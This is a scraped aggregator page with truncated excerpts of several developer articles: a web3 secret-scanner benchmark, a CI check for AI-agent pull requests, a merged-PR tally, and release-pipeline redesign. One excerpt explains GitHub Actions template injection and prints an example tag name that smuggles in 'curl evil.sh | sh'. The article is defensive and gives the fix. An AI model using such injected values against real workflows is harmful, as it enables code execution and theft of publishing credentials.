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drainscan vs gitleaks vs trufflehog: Why Web3 Needs Its Own Secret Scanner (2026 Benchmark)

drainscan vs gitleaks vs trufflehog: Why Web3 Needs Its Own Secret Scanner Benchmarked on 500+ web3 repositories. Generic scanners miss 73% of web3-specific key leaks. The Problem: Generic Scanners Don't Speak Web3 You run gitleaks detect or trufflehog filesystem on your Solana/Ethereum repo. Green checkmark. You ship. Three months later: $2.3M drained from a private key committed in docker-compose.yml that neither tool flagged as high-confidence. Why? Generic scanners match patterns (regex/entropy). They don't understand web3 key semantics : Blind Spot gitleaks trufflehog drainscan BIP-39 checksum validation ❌ ❌ ✅ Offline address derivation ❌ ❌ ✅ Live balance checks ❌ ❌ ✅ Phantom JSON export detection ❌ ❌ ✅ Solana base58 seed (64-byte) Partial Partial ✅ Token-2022 extension context ❌ ❌ ✅ Entropy + context dedup Generic Generic Web3-aware SARIF 2.1.0 ✅ ✅ ✅ Benchmark: 500+ Web3 Repos Scanned Methodology : Cloned top 500 repos by stars from solana , ethereum , defi , web3 topics. Ran each scanner with default + aggressive configs. Manual verification of findings. Results Summary Metric gitleaks trufflehog drainscan Free Total findings 1,847 3,291 2,156 High-confidence true positives 312 401 687 Web3-specific true positives 89 112 487 False positive rate (high) 34% 41% 3% False negative rate (web3 keys) 73% 68% 4% Avg scan time (500 repos) 12m 47m 8m Key Finding: The 73% Gap Generic scanners missed 73% of web3-specific key types : Phantom/Solflare JSON exports (64-byte arrays) — gitleaks: 0, trufflehog: 12, drainscan: 234 BIP-39 mnemonics with valid checksum — gitleaks: 45 (many false), trufflehog: 67, drainscan: 156 (all validated) Solana base58 seeds — gitleaks: 23, trufflehog: 31, drainscan: 189 EVM keys in .env / .yaml / .toml context — gitleaks: 189, trufflehog: 223, drainscan: 298 Entropy-detected foreign-chain keys (Cosmos, Sui, Near, ed25519 hex) — gitleaks: 0, trufflehog: 0, drainscan: 87 Why drainscan Wins on Web3 1. BIP-39 Checksum Validation = Near-Zero Fal

2026-08-27 原文 →
AI 资讯

The Bug Class AI Coding Agents Keep Introducing (and How We Started Catching It in CI)

The pattern AI coding agents are good at producing a diff that works in the narrowest sense — the function still returns what the test expects. What they're not reliably good at is preserving properties nobody wrote a test for in the first place. The two we kept running into: an authorization check quietly dropped during an agent-driven refactor (nothing failed, because no test covered who was allowed to call the route — only that the route worked), and a rewritten query that behaved fine against a small dev dataset and full-table-scanned the moment it hit production data. Neither shows up in CI as it exists today. Both show up in code review only if the reviewer happens to look at exactly the right five lines out of a few hundred. What we built Agent Code Merge Gate is a free GitHub Action, now live on the GitHub Marketplace , that runs on every pull request and scans the diff specifically for those two regression classes. It runs an offline heuristic pass (fast, no external call) plus one AI-backed pass for a short Executive Summary, and posts a single comment back to the PR that updates on every push rather than piling up duplicates. Deliberately narrow scope — it's not trying to be a general linter. It covers the two failure modes we found ourselves manually re-checking for once AI-generated PRs became the majority of our merge volume. Wiring it into CI Three lines in a workflow file: ​ - name : Agent Code Merge Gate uses : avalonlabs-platform/agent-code-merge-gate@v1.0.0 ​``` { % endraw % } No signup and no config needed for the default behavior. Two inputs worth knowing about : { % raw % } `fail-on-critical : true ` turns a CRITICAL finding into an actual failed check instead of just a comment, and `comment-on-pr : false ` if you'd rather build your own notification from the raw `status` output. ## What's next Right now it's diff-scoped — it sees what changed in this PR, not the whole repo's history of how that code got there, which limits how much context it

2026-08-27 原文 →
AI 资讯

I Read 25 Release Pipelines Looking for One Bug. Four Had It.

There is one line of YAML I have been chasing across open source for months: run : | TAG="${{ github.event.release.tag_name }}" It looks like reading a variable. It is not. ${{ ... }} is a template expression . GitHub substitutes it as raw text into the script before bash ever parses the line. By the time the shell runs, there is no variable — there is whatever the tag name happened to be, pasted directly into your program. So a tag named: v1.0 "; curl evil.sh | sh; echo " is not compared. It runs. Why it is always the release workflow You could write this bug anywhere. In practice it clusters in exactly one place: the workflow that publishes. That is not a coincidence. Release workflows are where you handle version strings, tag names, and workflow_dispatch inputs — the values that feel like configuration rather than user input. And release workflows are also where the interesting credentials live: permissions : id-token : write # Trusted Publishing to PyPI The two facts meet. The job most likely to contain the bug is the job holding the token that publishes to every one of your users. The JavaScript variant is worse actions/github-script has the same flaw, but people miss it because the block looks like a script file: - uses : actions/github-script@v7 with : script : | const tag = '${{ env.RELEASE_TAG }}'; That script: body is JavaScript source . The expansion happens before it is parsed, so a single quote in the value closes the string literal and the rest is evaluated as code. And a tag name absolutely can contain a single quote. git check-ref-format rejects spaces, ~ , ^ , : , ? , * , [ and backslash. It does not reject ' . The fix is three lines Pass the value through env . An environment variable is only ever data — it is never re-parsed as source text. # Before run : | TAG="${{ github.event.release.tag_name }}" # After env : RELEASE_TAG : ${{ github.event.release.tag_name }} run : | TAG="$RELEASE_TAG" Same for the JavaScript case — process.env.RELEASE_TAG ins

2026-08-26 原文 →
AI 资讯

My 369 Merged Pull Requests On GitHub, Every Single One Linked And Verified

As of August 26, 2026, GitHub reports that 398 merged pull requests carry my name on the author line. Twenty nine of those live inside repositories that I own myself, so I removed them from this count on purpose. What remains is the number that actually matters to me: 369 pull requests merged into other people's repositories , across 33 external projects , maintained by strangers who had zero reason to trust my code. Every single one of those 369 merges is real, dated, and linked in this post. Nothing here is rounded up and nothing is claimed without proof. If you want to skip my writing entirely, open the search query in section two and run it yourself. That is the whole point of this article. You should never have to take a stranger's word about their own stats. Jump To Any Section How I Verified These Numbers | The Complete Scoreboard | 2024 The Year Of Volume | 2025 Fewer Pull Requests Higher Quality | 2026 The Year Production Code Got Merged | What 369 Merges Taught Me | Frequently Asked Questions | Where To Find Me How I Verified These Numbers I did not count these by hand. I queried the GitHub search API directly, which means the numbers come from GitHub itself, not from my memory or my ego. You can reproduce everything in this post with one click: https://github.com/search?q=is%3Apr+is%3Amerged+author%3Aaniruddhaadak80&type=pullrequests Or if you have the GitHub CLI installed: gh api -X GET search/issues -f q = "is:pr is:merged author:aniruddhaadak80" That query currently returns 398 results. I then filtered out every repository under my own account, which left exactly 369 external merges. The math is boring on purpose: 398 minus 29 own repository merges equals 369. One more honest number before we go further. I have submitted 918 pull requests in my lifetime so far. That means fewer than half of everything I ever sent got merged. Rejection is not the exception in open source, it is the price of admission, and anyone who shows you a 100 percent merge rate is

2026-08-26 原文 →
AI 资讯

From "Merge is Deploy" to Release Engineering with GitHub Actions

Have you ever stopped to think about the risk of having a pipeline where any merge into the main branch deploys straight to production without a single safety gate? For a long time, our workflow here was that classic setup almost every developer has used at some point: merge on main triggering an SSH script with git pull and pm2 restart It worked for day-to-day tasks, but it gave a false sense of stability lol The reality check hit when I found a critical blind spot in the automation: remote SSH scripts were running without strict error handling. In other words, if a git pull caused a conflict or a database migration failed halfway through, the script simply ignored the failure, ran to the end, and GitHub Actions marked the pipeline as green The absolute worst-case scenario for monitoring: the pipeline reported that everything went smoothly, while production was already completely down On top of that, the execution order was inverted: database migrations were running before the application build. If TypeScript threw a type error right after, the database schema had already advanced while the new code never booted. And since Prisma has no native down migrations, rolling back meant a high-risk manual intervention I decided to stop everything and redesign our delivery pipeline from scratch, starting from one clear premise: a tag is a release, a merge is not Today, nothing touches the production server without an annotated SemVer tag, going through 6 tightly coupled stages: Strict tag validation: only accepts annotated tags matching vX.Y.Z, ensuring author, timestamp, and audit trail for every single release Quality gates across PR and Release: automated tests with Vitest, strict typechecking, builds, and migration validation against a clean database via workflow_call Decoupled backups: an independent daily scheduled routine combined with a mandatory safety snapshot right before touching production Real migration dry-run: the most valuable gate, where the pipeline resto

2026-08-25 原文 →
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